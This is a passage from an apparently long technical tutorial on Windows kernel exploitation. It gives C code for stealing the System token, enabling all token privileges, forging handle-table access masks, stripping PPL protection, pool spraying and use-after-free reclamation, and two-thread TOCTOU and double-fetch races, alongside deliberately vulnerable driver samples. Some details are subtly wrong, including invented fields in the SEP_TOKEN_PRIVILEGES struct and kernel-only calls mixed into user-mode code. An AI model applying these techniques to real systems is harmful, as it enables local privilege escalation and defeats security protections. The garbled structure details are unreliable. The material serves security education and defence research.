        for (int off = 0; off < 0x1000; off += 8) {
            ULONG32 val;
            if (ReadPhysMem(hDev, phys + off, &val, 4)) {
                // Look for the "System" process name or a known _EPROCESS signature
                // In practice: read the whole page, search for the embedded name,
                // then validate by checking that the PID field (offset varies) == 4.
                // ...
            }
        }
    }
    return FALSE; // simplified — real code validates the structure
}
 
// Once you have the System _EPROCESS physical address:
// 1. Read its Token pointer (at _EPROCESS.Token offset, build-dependent)
// 2. Find the attacker process's _EPROCESS the same way (by name)
// 3. Write the System token pointer over the attacker's token
// 4. The attacker's process is now SYSTEM

#Attack Surface — Direct Kernel Object Modification

Once you can read and write physical memory, every kernel object is accessible. The token pointer overwrite (detailed in Section 4) is the canonical example, but the primitive is general:

  • Token pointer overwrite — copy the System process's token pointer onto your process's _EPROCESS.Token. Your process is now SYSTEM.
  • Process protection disable — zero out _EPROCESS.Protection to strip PPL, then open a handle to the previously-protected process with PROCESS_ALL_ACCESS.
  • Privilege bitmask manipulation — set bits in the token's Present and Enabled privilege bitmasks to grant yourself SeDebugPrivilege, SeLoadDriverPrivilege, SeTcbPrivilege.
  • Pool metadata corruption — modify pool headers to merge or split allocations, creating controlled free regions for heap exploitation.

None of these execute code. None hijack control flow. They are pure data writes — which is why they bypass CET, kCFG, and HVCI (see Section 4 and the defense post's data-only attacks discussion).

#The VBS Complication

On a VBS-enabled system, the hypervisor enforces a second layer of address translation via SLAT/EPT. The guest operating system (VTL 0) maintains its own page tables, but the hypervisor's EPT controls whether each guest physical page is readable, writable, or executable from the guest's perspective. This means:

  • Page table manipulation is constrained. You can modify a guest PTE to clear the U/S bit, but the hypervisor's EPT still enforces its own permissions. If the hypervisor has marked the page as supervisor-only in EPT, the user-mode access still faults. On HVCI-enabled systems, the EPT permissions track the page's code-integrity status — making a data page executable requires the hypervisor to verify the page against the CI catalog, which an attacker-controlled PTE modification cannot satisfy.
  • Physical memory access is bounded. A BYOVD driver's MmMapIoSpace maps guest physical memory. It cannot reach VTL 1 (secure kernel) memory, which the hypervisor isolates at the physical level. Physical memory access from VTL 0 gives you VTL 0 memory — which is still powerful (you can compromise the normal kernel), but it does not reach the secure world where Credential Guard stores secrets.

#4. The Object Manager — Handles, Tokens, and Access Control

The object manager is the kernel subsystem that gives every kernel resource a uniform identity. Processes, threads, files, events, semaphores, tokens, sections, and devices are all "objects" with a common header, a type, a name, and a security descriptor. The object manager is also the subsystem that enforces access control — the thing standing between your low-privilege process and the SYSTEM token you want. Every data-only attack in this section is about modifying object manager data structures to bypass the access checks it enforces.

#How It Works — The Object Model

Every kernel object begins with an _OBJECT_HEADER, which records the object's type, name, security descriptor, and reference count. The object manager maintains a namespace — a hierarchy of directories and symbolic links — that lets objects be looked up by name. When you call CreateFile(L"\\\\.\\VulnDrv"), the object manager resolves the \\??\\ prefix to the global DosDevices directory, looks up the VulnDrv symbolic link, and follows it to the underlying device object.

The object manager is the unified front door. CreateFile, OpenProcess, OpenThread, OpenToken, and CreateEvent all go through the same path: resolve the name (or take a PID/handle), run an access check against the security descriptor, create a handle in the caller's handle table, and return the handle. The handle is an index into the process's handle table — a kernel structure that maps handle values to object pointers.

#How It Works — Handle Tables

Every process has a _HANDLE_TABLE, an array of _HANDLE_TABLE_ENTRY structures. Each entry holds a pointer to the kernel object (with some bits stolen for access masking and auditing) and the granted access mask. When you call ReadFile(handle, ...), the kernel uses the handle to index into the table, gets the object pointer, checks that the granted access includes FILE_READ_DATA, and proceeds.

The critical function is ObReferenceObjectByHandle — it takes a handle, looks up the object, validates the access mask, and returns a referenced object pointer. The access validation happens at handle creation time (in ObpIncrementHandleCountEx), not at handle use time. This is the design property that handle table manipulation exploits.

#How It Works — The Access Token

The access token is the prize. Every kernel exploit that targets privilege escalation is ultimately trying to obtain a token with higher privileges than the attacker's current process. A Windows access token is a kernel object (_TOKEN) containing:

  • User SID — who you are
  • Group SIDs — which groups you belong to (includes integrity level as a mandatory label SID)
  • Privileges — a bitmap of enabled and present privileges (SeDebugPrivilege, SeLoadDriverPrivilege, etc.)
  • Token type — Primary (attached to a process) or Impersonation (attached to a thread)
  • Session ID — which logon session this token belongs to
  • Mandatory label — the integrity level SID

Every process has a primary token, accessible via _EPROCESS.Token. The token pointer is a kernel pointer to the _TOKEN object. The privilege bitmaps live inside the _TOKEN structure itself:

C
// _TOKEN privilege bitmaps — the fields you flip in a privilege escalation
// SEP_TOKEN_PRIVILEGES holds three 64-bit bitmaps.
 
typedef struct _SEP_TOKEN_PRIVILEGES {
    LUID  PresentCount;     // not the privilege bitmap — reference counting
    LUID  Luid;             // not used for the bitmap
    ULONG64 PrivilegesPresent;   // Bitmask of privileges present on the token
    ULONG64 PrivilegesEnabled;   // Bitmask of privileges currently enabled
    ULONG64 PrivilegesValid;     // Which bits in Present/Enabled are valid
} SEP_TOKEN_PRIVILEGES;
 
// Privilege bit positions (from winnt.h):
//   SE_DEBUG_PRIVILEGE        = 20  → bit 20
//   SE_LOAD_DRIVER_PRIVILEGE  = 10  → bit 10
//   SE_IMPERSONATE_PRIVILEGE  = 29  → bit 29
//   SE_TCB_PRIVILEGE          = 7   → bit 7
//   SE_ASSIGNPRIMARYTOKEN     = 3   → bit 3

#How It Works — Access Checking

When a process opens a handle to an object, the kernel runs SeAccessCheck: it compares the caller's token (user SID, group SIDs, integrity level, privileges) against the object's security descriptor (owner, DACL, mandatory label). The result is either granted (with a specific access mask) or denied (STATUS_ACCESS_DENIED).

The PreviousMode distinction matters here. A kernel caller (PreviousMode=KernelMode) bypasses access checks — the kernel trusts itself. This is why a kernel exploit that calls ZwOpenProcess from kernel context (which sets PreviousMode=KernelMode) bypasses handle access checks: the kernel trusts the caller because the caller is the kernel. A user-mode caller (PreviousMode=UserMode) goes through the full access check.

#Attack Surface — Token Pointer Overwrite

The canonical privilege escalation payload. Walk the _EPROCESS linked list (ActiveProcessLinks) to find the System process (PID 4), read its token pointer, and overwrite your process's _EPROCESS.Token with the System token pointer. Your process is now SYSTEM.

C
// Token pointer overwrite — the data-only privilege escalation
// Requires a kernel write primitive (arbitrary write via IOCTL, or
// physical memory write via BYOVD). No code execution, no ROP, no CET violation.
 
// Offsets are build-dependent. Resolve them by parsing the kernel symbols
// or by scanning structure layouts in WinDbg (dt _EPROCESS, dt _TOKEN).
#define EPROCESS_TOKEN_OFFSET     0x4B8   // Example: Win10 22H2 — VERIFY PER BUILD
#define EPROCESS_LINKS_OFFSET      0x448   // ActiveProcessLinks LIST_ENTRY
 
VOID StealSystemToken(HANDLE hDev) {
    // 1. Locate the System process (PID 4) and the current process.
    //    In kernel context you would use PsInitialSystemProcess (exported).
    //    Via physical memory (BYOVD), you scan for the process by name.
    PEPROCESS systemProc = PsInitialSystemProcess;  // kernel context
    PEPROCESS currentProc = PsGetCurrentProcess();
 
    // 2. Read the System token pointer
    ACCESS_TOKEN* systemToken;
    KernelRead(hDev,
        (ULONG_PTR)systemProc + EPROCESS_TOKEN_OFFSET,
        &systemToken, sizeof(systemToken));
 
    // 3. Overwrite the current process's token with the System token
    KernelWrite(hDev,
        (ULONG_PTR)currentProc + EPROCESS_TOKEN_OFFSET,
        &systemToken, sizeof(systemToken));
 
    // 4. The current process is now SYSTEM.
    //    The next user-mode call (e.g., spawning cmd.exe) runs as SYSTEM.
}

This is a data-only attack. No new code is executed. No control flow is hijacked. The write primitive modifies a single pointer in a kernel data structure. CET's shadow stack does not fire (no ret was corrupted). kCFG does not fire (no indirect call was redirected). HVCI does not fire (no executable page was created). The only defense that stops this is KDP — if the _EPROCESS page is marked read-only in EPT, the write faults. Otherwise, the write succeeds and the process is SYSTEM.

#Attack Surface — Privilege Bitmask Manipulation

Token stealing is noisy — your process suddenly has a different user SID, which can trip monitoring that compares the process's token against its expected identity. Privilege bitmask manipulation is stealthier: your token still belongs to you, but it now has every privilege enabled.

C
// Privilege bitmask manipulation — stealthier than token stealing
// Enable SeDebugPrivilege, SeLoadDriverPrivilege, SeTcbPrivilege
// on the current token without changing the user SID.
 
VOID EnableAllPrivileges(HANDLE hDev) {
    PEPROCESS currentProc = PsGetCurrentProcess();
 
    // 1. Read the current token pointer
    ACCESS_TOKEN* token;
    KernelRead(hDev,
        (ULONG_PTR)currentProc + EPROCESS_TOKEN_OFFSET,
        &token, sizeof(token));
 
    // 2. Read the privilege bitmaps from the _TOKEN structure
    //    _TOKEN.Privileges is at a build-dependent offset (e.g., 0x40 on some builds)
    SEP_TOKEN_PRIVILEGES privs;
    KernelRead(hDev,
        (ULONG_PTR)token + TOKEN_PRIVILEGES_OFFSET,
        &privs, sizeof(privs));
 
    // 3. Set all privilege bits in Present and Enabled
    privs.PrivilegesPresent = 0xFFFFFFFFFFFFFFFFULL;  // All privileges present
    privs.PrivilegesEnabled = 0xFFFFFFFFFFFFFFFFULL;  // All privileges enabled
 
    // 4. Write the modified bitmaps back
    KernelWrite(hDev,
        (ULONG_PTR)token + TOKEN_PRIVILEGES_OFFSET,
        &privs, sizeof(privs));
 
    // The current process now has SeDebugPrivilege (open any process),
    // SeLoadDriverPrivilege (load drivers), SeTcbPrivilege (act as OS),
    // and every other privilege — without changing its user identity.
}

The token still says you are the same user. But you can now open any process (including SYSTEM and PPL processes below your signer level) with PROCESS_ALL_ACCESS, load kernel drivers, and impersonate any security context. For most post-exploitation objectives, this is equivalent to being SYSTEM — and it is harder to detect.

#Attack Surface — Handle Table Manipulation

The access check on a handle happens at handle creation (ObpIncrementHandleCountEx), not at handle use. If you can write directly to the handle table, you can grant yourself access to objects you could never have opened legitimately.

C
// Handle table manipulation — grant PROCESS_ALL_ACCESS to a protected process
// Bypasses ObpIncrementHandleCountEx because the check is at creation, not use.
 
VOID ForgeHandleToProtectedProcess(HANDLE hDev, HANDLE existingHandle) {
    // 1. Locate the current process's _HANDLE_TABLE
    PEPROCESS currentProc = PsGetCurrentProcess();
    ULONG64 handleTable;
    KernelRead(hDev,
        (ULONG_PTR)currentProc + EPROCESS_HANDLE_TABLE_OFFSET,
        &handleTable, sizeof(handleTable));
 
    // 2. Compute the handle table entry address for 'existingHandle'
    //    Handle tables are indexed by (handle >> 2) — the low two bits are flags.
    ULONG64 entryIndex = ((ULONG64)existingHandle) >> 2;
    ULONG64 entryAddr = handleTable + TABLE_ENTRY_OFFSET + entryIndex * sizeof(HANDLE_TABLE_ENTRY);
 
    // 3. Overwrite the granted access mask in the entry to PROCESS_ALL_ACCESS
    //    The access mask is stored in the low bits of the entry (with masking).
    HANDLE_TABLE_ENTRY entry;
    KernelRead(hDev, entryAddr, &entry, sizeof(entry));
    entry.GrantedAccess = PROCESS_ALL_ACCESS;  // 0x1FFFFF
    KernelWrite(hDev, entryAddr, &entry, sizeof(entry));
 
    // 4. The existing handle now grants full access to its target object,
    //    even if the target is a PPL process that would have rejected the
    //    open request at creation time.
}

This is particularly powerful against PPL (Protected Process Light). A PPL process at signer level WinTcb rejects PROCESS_VM_READ handle opens from any process at a lower signer level — even SYSTEM. But if you already have any handle to the PPL process (even a low-access one from before it elevated its protection), modifying the handle table entry upgrades that handle to full access. The protection check already passed (at the low-access open); the use-time check does not re-verify the signer level.

#Attack Surface — Process Protection (PPL) Bypass

The direct approach: zero out _EPROCESS.Protection to strip PPL entirely, then open a handle normally.

C
// PPL bypass — strip a process's protection, then open it normally
// _EPROCESS.Protection is a _PS_PROTECTION structure: { Level, Type, Signer }
 
VOID StripPplProtection(HANDLE hDev, PEPROCESS targetProc) {
    PS_PROTECTION prot;
    prot.Level = 0;   // Type=None, Signer=None — no protection
    prot.Type = 0;
    prot.Signer = 0;
    KernelWrite(hDev,
        (ULONG_PTR)targetProc + EPROCESS_PROTECTION_OFFSET,
        &prot, sizeof(prot));
 
    // The target process is now an ordinary process.
    // OpenProcess(PROCESS_ALL_ACCESS) succeeds from any caller.
}

This requires a kernel write primitive, which is the same primitive you needed for token stealing. The defense is KDP — on systems where _EPROCESS.Protection is in a KDP-protected page, the write faults. On systems without KDP (which is most systems without VBS), the write succeeds.

#Why These Are Data-Only Attacks

Every technique in this section is a data write. No code is executed. No control flow is hijacked. The write primitive — whether from a vulnerable IOCTL, a BYOVD driver, or a pool corruption — modifies a pointer or a bitmask in a kernel data structure. The defenses that stop control-flow attacks (CET, kCFG, HVCI) do not stop data writes. The defense that stops data writes is KDP, which marks critical kernel data pages read-only at the hypervisor level. On a system without KDP, every attack in this section works. On a system with KDP, some of these structures are protected and some are not — the attacker's job is to find the unprotected ones.


#5. The Kernel Pool — Heap Allocator Internals and Exploitation

The kernel pool is the kernel's heap. Every driver allocates from it — for IRP buffers, for internal data structures, for objects the driver manages. Like any heap, it is vulnerable to overflow, use-after-free, and type confusion. Unlike a user-mode heap, a kernel pool corruption crashes the entire system, not just a process. This section covers the pool's internals and the exploitation techniques that target them.

#How It Works — Pool Architecture

The kernel pool comes in two flavors:

  • Paged Pool — pageable memory. Accessible only at IRQL < DISPATCH_LEVEL (PASSIVE_LEVEL or APC_LEVEL). If the pool page is paged out, accessing it triggers a page fault and the memory manager pages it back in. Used for most driver allocations that do not need to be resident at interrupt time.
  • Non-Paged Pool — always resident. Accessible at any IRQL, including DISPATCH_LEVEL and higher. Used for allocations that must be available at interrupt time — DPC buffers, IRP structures, device extension data.

Allocations are made with ExAllocatePoolWithTag (legacy) or ExAllocatePool2 (Windows 10 2004+). The Tag parameter is a four-byte ASCII identifier that marks which component allocated the memory — Ntfx for NTFS, Proc for process objects, Thre for threads. This tag is how you identify allocations in a crash dump with !pool.

Every pool allocation begins with a _POOL_HEADER:

C
// _POOL_HEADER — the metadata preceding every pool allocation
// This is what pool overflow corrupts, and what pool spraying manipulates.
 
typedef struct _POOL_HEADER {
    union {
        struct {
            USHORT PreviousSize : 8;   // Size of the previous block (in allocation units)
            USHORT PoolIndex    : 8;   // Index into the pool descriptor array
        } DUMMYSTRUCTNAME;
        USHORT BlockSizeRaw;          // Encoded block size + flags
    };
    union {
        UCHAR PoolType;               // PagedPool, NonPagedPool, etc. + flags
        struct {
            UCHAR NullPagedPool : 1;
            UCHAR Quota         : 1;
            UCHAR NonPagedPool  : 1;
            UCHAR RaiseOnQuota  : 1;
            UCHAR DontRaise     : 1;
            UCHAR PoolTypeBits  : 3;
        };
    };
    USHORT PoolAllocSize;             // Size of this allocation (in bytes, includes header)
    ULONG  PoolTag;                   // Four-byte tag identifying the allocator
    // ... (on x64, additional fields for the process block, etc.)
} POOL_HEADER;

The pool allocator manages free lists — per-size-bucket linked lists of free blocks. When a driver allocates, the allocator carves a block from a free region, writes the POOL_HEADER, and returns a pointer past the header. When a driver frees, the block returns to the free list. Small, frequent allocations are served from lookaside lists — per-processor, single-size free lists that avoid the lock contention of the main pool descriptor.

#How It Works — The Randomized Pool

Windows 10 2004+ introduced ExAllocatePool2 with a randomized free list. The legacy ExAllocatePoolWithTag served allocations from a deterministic free list — the same sequence of allocations produced the same memory layout every time. This made pool spraying reliable: an attacker could predict exactly where a vulnerable allocation would land relative to a controlled allocation.

The randomized pool breaks this determinism. Allocations are no longer served in FIFO order from a single free list; the allocator randomizes which free block satisfies a request. Pool spraying is harder — but not impossible. The randomization is per-allocation, not per-page, so with enough spray allocations the layout still converges to a predictable distribution. The technique shifted from "place allocation A exactly adjacent to allocation B" to "spray thousands of allocations so that some of them land adjacent to the target, then verify."

#Attack Surface — Pool Overflow

A pool overflow occurs when a driver writes beyond the bounds of a pool allocation. The bytes past the allocation's end belong to whatever was allocated next — another pool allocation, a kernel object, or pool metadata. If the adjacent allocation is a kernel object with a function pointer or a data pointer, the overflow corrupts it.

C
// Vulnerable IOCTL handler — pool overflow
// The driver allocates a buffer of fixed size but copies user data
// without checking the length. The overflow corrupts the adjacent allocation.
 
#define VULN_BUFFER_SIZE 0x50
 
NTSTATUS VulnIoctlWriteBuffer(PIRP Irp, PIO_STACK_LOCATION ioStack) {
    PCHAR poolBuf = ExAllocatePool2(POOL_FLAG_NON_PAGED,
                                    VULN_BUFFER_SIZE, 'Vuln');
    // BUG: InputBufferLength is never validated against VULN_BUFFER_SIZE.
    // The driver copies the entire user input into a 0x50-byte buffer.
    PCHAR userInput = Irp->AssociatedIrp.SystemBuffer;
    RtlCopyMemory(poolBuf, userInput, ioStack->Parameters.DeviceIoControl.InputBufferLength);
    // If InputBufferLength > 0x50, the copy overwrites the adjacent pool allocation.
    // ...
}

The exploitation depends on what is adjacent. If the adjacent allocation is a kernel object with a function pointer (e.g., a _IO_TIMER or a _DRIVER_OBJECT's MajorFunction array), the overflow overwrites the function pointer, and the next time the kernel calls through that pointer, it calls attacker-controlled code — subject to kCFG, which requires the target to be a valid CFG entry. If the adjacent allocation is a data object (e.g., a _TOKEN), the overflow corrupts the data directly, enabling a data-only attack.

#Attack Surface — Use-After-Free (UAF)

A use-after-free occurs when a driver frees a pool allocation but retains a pointer to it. A subsequent operation dereferences the dangling pointer — but the memory has been reallocated for a different purpose, so the driver operates on attacker-controlled data.

C
// Vulnerable driver — use-after-free in an IOCTL handler
// The driver stores a pointer to a pool allocation in a global,
// frees the allocation on one IOCTL, but uses the pointer on another.
 
PVOID g_FreedObject = NULL;  // Dangling pointer
 
// IOCTL 0x80002001 — allocate and store pointer
NTSTATUS IoctlAllocObject(PCHAR input, ULONG inputLen) {
    g_FreedObject = ExAllocatePool2(POOL_FLAG_NON_PAGED, 0x60, 'ObjA');
    RtlCopyMemory(g_FreedObject, input, min(inputLen, 0x60));
    return STATUS_SUCCESS;
}
 
// IOCTL 0x80002002 — free the object (but do NOT clear g_FreedObject)
NTSTATUS IoctlFreeObject() {
    ExFreePoolWithTag(g_FreedObject, 'ObjA');
    // BUG: g_FreedObject still holds the now-freed address.
    return STATUS_SUCCESS;
}
 
// IOCTL 0x80002003 — use the (freed) object
NTSTATUS IoctlUseObject() {
    // The memory at g_FreedObject has been freed. If the attacker has
    // reclaimed it with controlled data, this dereference uses that data.
    PULONG field = (PULONG)((PCHAR)g_FreedObject + 0x10);
    return *field;  // Reads attacker-controlled data as a kernel value
}

The exploitation pattern is:

  1. Trigger the allocation (IOCTL 0x80002001) — the driver allocates a 0x60-byte block tagged ObjA.
  2. Trigger the free (IOCTL 0x80002002) — the block returns to the free list, but g_FreedObject still points at it.
  3. Spray to reclaim — allocate many 0x60-byte blocks of a different type with attacker-controlled contents. One of them lands in the freed block's memory.
  4. Trigger the use (IOCTL 0x80002003) — the driver dereferences g_FreedObject, but the memory now holds attacker-controlled data. The driver interprets that data as a kernel object of type ObjA, operating on fields the attacker controls.

#Attack Surface — Type Confusion

Type confusion is a generalization of UAF. A driver holds a pointer to an object of type A, but the memory now holds an object of type B. The driver operates on the type-B memory as if it were type A, corrupting type-B fields.

The object manager tracks object types via _OBJECT_HEADER.TypeIndex. Every object has a type (Process, Thread, File, Event, etc.), and the object manager uses TypeIndex to dispatch type-specific operations. A type confusion exploit creates an object of type B in memory the driver expects to hold type A, then triggers the driver to use the pointer — the driver's type-A operations corrupt type-B's fields.

C
// Type confusion exploitation — free a 'ObjA', reclaim with 'ObjB'
// The driver uses the freed pointer as 'ObjA', corrupting 'ObjB' fields.
 
// 1. Allocate an ObjA (the driver's expected type)
IoctlAllocObject(objAData, sizeof(objAData));
 
// 2. Free the ObjA
IoctlFreeObject();
 
// 3. Spray ObjB allocations of the same size (0x60) with controlled data
//    ObjB is a different type — its fields overlap ObjA's fields in memory.
HANDLE sprayHandles[4096];
for (int i = 0; i < 4096; i++) {
    // Each ObjB allocation is 0x60 bytes. One reclaims the freed ObjA's memory.
    sprayHandles[i] = CreateEvent(NULL, FALSE, FALSE, NULL);  // example: Event object
}
 
// 4. Trigger the use — the driver reads g_FreedObject as an ObjA,
//    but the memory holds an ObjB. The driver's writes to "ObjA fields"
//    land on ObjB fields, corrupting the Event object's internal state.
IoctlUseObject();

#Attack Surface — Pool Spraying / Kernel Heap Feng Shui

Pool spraying is the technique of allocating many kernel objects of a controlled size to create a predictable heap layout. The goal is to place a vulnerable allocation adjacent to (or in the same memory as) a target object.

C
// Pool spraying via IoCompletionReserve — reliable, size-controlled allocations
// NtAllocateReserveObject with IoCompletionReserve allocates a fixed-size
// kernel object. Spraying thousands of them creates a predictable layout.
 
typedef NTSTATUS (NTAPI* pNtAllocateReserveObject)(
    PHANDLE, POBJECT_ATTRIBUTES, ULONG);
 
// Reserve objects come in fixed sizes:
//   IoCompletionReserve   → 0x60 bytes (varies by build)
//   TimerResolution       → different size
//   ALPC (local port)     → different size
 
HANDLE spray[8192];
for (int i = 0; i < 8192; i++) {
    // Each call allocates a fixed-size kernel object in NonPagedPool.
    // After this loop, the pool is densely packed with these objects.
    pNtAllocateReserveObject(&spray[i], NULL, 1 /* IoCompletionReserve */);
}
 
// Now create "holes" by freeing every other object.
// A subsequent allocation of the same size will land in one of the holes,
// adjacent to the surviving spray objects. This is the feng shui.
for (int i = 0; i < 8192; i += 2) {
    CloseHandle(spray[i]);
    spray[i] = NULL;
}
 
// The vulnerable allocation now lands in a hole, surrounded by
// controlled spray objects. An overflow from the vulnerable allocation
// corrupts the adjacent surviving spray object.

Other spraying primitives: CreateEvent (event objects in PagedPool), named pipe buffers (NtFsControlFile with FSCTL_SET_SPARSE), GDI objects (CreateBitmap, CreatePalette), and the registry (NtCreateKey with specific value sizes). Each produces allocations of a known size in a known pool. The art is matching the spray object's size to the vulnerable allocation's size so they share the same free-list bucket.


#6. Synchronization and Concurrency — Race Conditions in the Kernel

Race conditions are a distinct vulnerability class. They do not depend on a buffer overflow or a missing check — they depend on timing. The kernel is a concurrent system: multiple threads, multiple processors, and asynchronous interrupts all operate on shared state. When a driver accesses shared state without proper synchronization, the gap between operations is a race window an attacker can exploit. This section covers the synchronization model and the race conditions it enables.

#How It Works — Kernel Synchronization Primitives

The kernel provides several synchronization primitives, each suited to a different IRQL and use case:

  • Spinlocks — the lowest-level primitive. A spinlock is a per-processor lock acquired by raising IRQL to DISPATCH_LEVEL and spinning in a tight loop until the lock is free. Code holding a spinlock runs at DISPATCH_LEVEL — it cannot be preempted by anything except a higher-IRQL interrupt, and it cannot page fault (paged memory is inaccessible at DISPATCH_LEVEL). Spinlocks protect short, critical sections in non-paged data.
  • Fast Mutexes — lighter than full dispatcher mutexes. Acquired by raising IRQL to APC_LEVEL and waiting on an event if contended. Holdable for longer than spinlocks but still not across page faults.
  • ERESOURCE — a reader-writer lock. Multiple readers can hold it concurrently; writers get exclusive access. Used for data structures that are read often and written rarely (file system metadata, registry hives).
  • Dispatcher objects — events, semaphores, mutexes, timers. These are waitable objects used at PASSIVE_LEVEL. A thread waiting on a dispatcher object blocks (its state transitions to waiting) until the object is signaled.

The choice of primitive is determined by IRQL: spinlocks for DISPATCH_LEVEL code, dispatcher objects for PASSIVE_LEVEL code. A driver that uses the wrong primitive — or no primitive at all — creates a race window.

#How It Works — IRQL

IRQL (Interrupt Request Level) is the kernel's priority system. Each processor has a current IRQL. The rule is absolute: code running at a given IRQL can only be preempted by code at a higher IRQL. The levels, from lowest to highest:

IRQLLevelMeaning
PASSIVE_LEVEL0Normal thread execution. Page faults allowed. Most IOCTL handlers run here.
APC_LEVEL1Asynchronous Procedure Calls. Page faults for APC delivery.
DISPATCH_LEVEL2DPCs and thread scheduling. No page faults, no waits.
DEVICE_LEVEL+3+Device interrupts.
HIGH_LEVEL31The highest. Masks all interrupts.

The race window exists between IRQL transitions. A driver running at PASSIVE_LEVEL can be preempted at any time by a DPC (DISPATCH_LEVEL) or a device interrupt. If the driver reads a value, gets preempted, and the preempting code modifies the value, the driver's later use of the (now-stale) value is a race condition.

#How It Works — DPCs

Deferred Procedure Calls (DPCs) are the kernel's mechanism for scheduling work to run at DISPATCH_LEVEL. A driver queues a DPC with KeInsertQueueDpc; the kernel runs it later, at DISPATCH_LEVEL, on the current processor. DPCs are used for timer expiration, I/O completion, and interrupt-deferred processing.

The race window: a DPC can fire between two operations in a PASSIVE_LEVEL IOCTL handler. If the DPC modifies state the IOCTL handler is reading or writing, the IOCTL handler sees inconsistent state. This is the IRQL-based race.

#Attack Surface — TOCTOU (Time-of-Check to Time-of-Use)

The classic race condition. A driver validates a user buffer, then uses it later — but the buffer can change between the check and the use. On a multi-processor system, another thread modifies the buffer while the driver is between the check and the use.

C
// Vulnerable IOCTL handler — TOCTOU in a METHOD_NEITHER path
// The driver probes the user buffer (check), then reads from it (use).
// Between probe and read, another thread changes the buffer's contents
// or even its mapping.
 
NTSTATUS VulnIoctlToucou(PIRP Irp, PIO_STACK_LOCATION ioStack) {
    PCHAR userBuf = ioStack->Parameters.DeviceIoControl.Type3InputBuffer;
    ULONG userSize = ioStack->Parameters.DeviceIoControl.InputBufferLength;
 
    // CHECK: Probe and validate the user buffer
    __try {
        ProbeForRead(userBuf, userSize, 1);
        // Validate that the first field is a "safe" value
        ULONG requestedOp = *(PULONG)userBuf;
        if (requestedOp > MAX_SAFE_OP) {
            return STATUS_INVALID_PARAMETER;
        }
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        return GetExceptionCode();
    }
 
    // ... time passes, scheduler runs another thread ...
 
    // USE: Re-read the buffer and act on it. The buffer contents may have
    // changed since the check. A second thread modified userBuf[0..3]
    // from a safe value to a dangerous one between the check and the use.
    ULONG actualOp = *(PULONG)userBuf;   // Re-fetched — TOCTOU!
    ExecuteOperation(actualOp, userBuf + 4, userSize - 4);
    // actualOp may now be > MAX_SAFE_OP, bypassing the validation.
    return STATUS_SUCCESS;
}

The exploitation uses two threads:

C
// TOCTOU exploit — two threads racing on the user buffer
// Thread 1: call the IOCTL repeatedly
// Thread 2: flip the buffer between safe and dangerous values in a tight loop
 
volatile LONG g_RaceValue = 0;  // The first DWORD of the user buffer
 
DWORD WINAPI IoctlCaller(LPVOID param) {
    HANDLE hDev = (HANDLE)param;
    while (g_Running) {
        UCHAR buf[0x100];
        *(PULONG)buf = g_RaceValue;  // Point-in-time copy
        DWORD ret;
        DeviceIoControl(hDev, IOCTL_TOUCOU, buf, sizeof(buf), NULL, 0, &ret, NULL);
    }
    return 0;
}
 
DWORD WINAPI BufferFlipper(LPVOID param) {
    // Flip the "operation" field between a safe value (0) and a
    // dangerous value (0xFFFFFFFF) as fast as possible.
    while (g_Running) {
        g_RaceValue = 0;           // Safe — passes the check
        // ... tiny window where the driver might be in the check ...
        g_RaceValue = 0xFFFFFFFF; // Dangerous — used in the use phase
    }
    return 0;
}
 
// The race wins when: the driver reads g_RaceValue during the CHECK (gets 0,
// passes validation), then reads it again during the USE (gets 0xFFFFFFFF,
// executes the dangerous operation). On a multi-core system this is true
// concurrency — both threads run simultaneously, widening the race window.

#Attack Surface — Double-Fetch

A double-fetch is a specific TOCTOU where the driver reads the same value from user memory twice, and the value changes between reads. The classic case: the driver reads a size field, allocates a buffer based on it, then reads the size field again to determine how much to copy.

C
// Vulnerable IOCTL handler — double-fetch on a size field
// The driver reads the size once to validate, then again to copy.
 
NTSTATUS VulnIoctlDoubleFetch(PIRP Irp, PIO_STACK_LOCATION ioStack) {
    PCHAR userBuf = ioStack->Parameters.DeviceIoControl.Type3InputBuffer;
    ULONG userSize = ioStack->Parameters.DeviceIoControl.InputBufferLength;
 
    // FETCH 1: Read the size, validate it
    PULONG sizeField = (PULONG)userBuf;
    ULONG size1 = *sizeField;
    if (size1 > 0x100) {
        return STATUS_INVALID_PARAMETER;  // Size is "safe"
    }
 
    // FETCH 2: Re-read the size, use it for the copy
    ULONG size2 = *sizeField;            // TOCTOU: size2 may now be huge
    PCHAR kernelBuf = ExAllocatePool2(POOL_FLAG_NON_PAGED, 0x100, 'Vuln');
    RtlCopyMemory(kernelBuf, userBuf + 4, size2);  // Overflow if size2 > 0x100
 
    return STATUS_SUCCESS;
}

The exploit is the same two-thread pattern: Thread 1 calls the IOCTL with a buffer whose size field is 0x50 (passes validation), Thread 2 flips the size field to 0x10000 between the two fetches. The first fetch reads 0x50 (passes the > 0x100 check), the second fetch reads 0x10000 (causes the overflow). The race window is between the two *sizeField reads — often just a few instructions apart, but winnable on multi-core systems.

#Attack Surface — Multi-Threaded IOCTL Races

When a driver maintains global state across IOCTL calls without synchronization, concurrent calls can corrupt that state. The pattern: one IOCTL sets a global pointer, another IOCTL uses it — without a lock.

C
// Vulnerable driver — unsynchronized global state across IOCTLs
PVOID g_SharedBuffer = NULL;
ULONG g_SharedSize = 0;
 
// IOCTL 0x80002010 — set the shared buffer
NTSTATUS IoctlSetBuffer(PCHAR input, ULONG len) {
    g_SharedBuffer = input;   // No lock
    g_SharedSize = len;       // No lock
    return STATUS_SUCCESS;
}
 
// IOCTL 0x80002011 — use the shared buffer
NTSTATUS IoctlUseBuffer() {
    // Race: another thread may call IoctlSetBuffer between
    // reading g_SharedBuffer and reading g_SharedSize.
    PVOID buf = g_SharedBuffer;
    ULONG size = g_SharedSize;   // These two reads are not atomic together
    RtlCopyMemory(localKernelBuf, buf, size);  // Use stale/mismatched pair
    return STATUS_SUCCESS;
}

#Attack Surface — IRQL-Based Races

A DPC running at DISPATCH_LEVEL can modify a buffer that a PASSIVE_LEVEL IOCTL handler is reading. The DPC preempts the IOCTL handler mid-operation. When the DPC returns, the IOCTL handler continues with the DPC-modified buffer.

This is harder to exploit from user mode because DPC timing is less controllable — you cannot directly schedule a DPC from user mode. But if a driver has a DPC that fires on a timer or on I/O completion, and the same driver has an IOCTL handler that reads the DPC-modified buffer, the race exists. The exploitation triggers the IOCTL and the DPC-firing condition simultaneously, hoping the DPC fires between two reads in the IOCTL handler.


#7. The Driver Model — Loading, Signing, and the Trust Boundary

The driver model is the trust boundary that every other attack surface in this post depends on. A driver is third-party code running in Ring 0. The kernel trusts it. The signature on the driver answers "who wrote this?" — and the kernel treats that as sufficient to grant the driver full kernel privileges. This section covers how drivers are loaded, how signing works, and how the trust model itself is an attack surface.

#How It Works — Driver Loading
